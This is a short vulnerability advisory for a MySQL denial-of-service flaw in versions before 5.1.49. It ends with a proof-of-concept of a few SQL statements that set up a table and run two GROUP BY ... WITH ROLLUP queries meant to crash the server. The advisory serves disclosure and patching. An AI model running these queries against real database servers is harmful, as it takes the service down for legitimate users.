source: http://www.securityfocus.com/bid/42596/info

MySQL is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the database, denying access to legitimate users.

This issue affects versions prior to MySQL 5.1.49.

NOTE: This issue was previously covered in BID 42586 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been assigned its own record to better document it. 

PoC:

drop table if exists `t1`;
create table `t1`(`a` int)engine=myisam;
insert into `t1` values (1);
/*crash1*/select (`a` in (`a`,`a`)) from `t1` group by `a` with rollup;
/*crash2*/select (case (`a`) when (`a`) then (`a`) end) as `a` from `t1` group by `a`
with rollup;